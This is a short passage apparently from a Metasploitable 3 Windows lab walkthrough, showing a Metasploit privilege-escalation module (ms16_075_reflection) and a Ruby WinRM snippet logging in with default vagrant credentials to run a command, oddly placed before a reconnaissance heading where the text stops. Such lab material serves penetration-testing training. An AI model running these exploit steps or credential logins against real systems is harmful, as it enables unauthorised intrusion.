Metasploitable 3 Windows Walkthrough //free\\

Mastering Metasploitable 3: A Windows Exploitation Walkthrough

use exploit/windows/local/ms16_075_reflection
set SESSION <ID>
run

require 'winrm'
conn = WinRM::Connection.new(
  endpoint: 'http://192.168.56.105:5985/wsman',
  user: 'vagrant',
  password: 'vagrant',
)
conn.shell(:cmd) do |shell|
  output = shell.run('whoami') do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
end

2. Initial Reconnaissance

Nmap scan from Kali: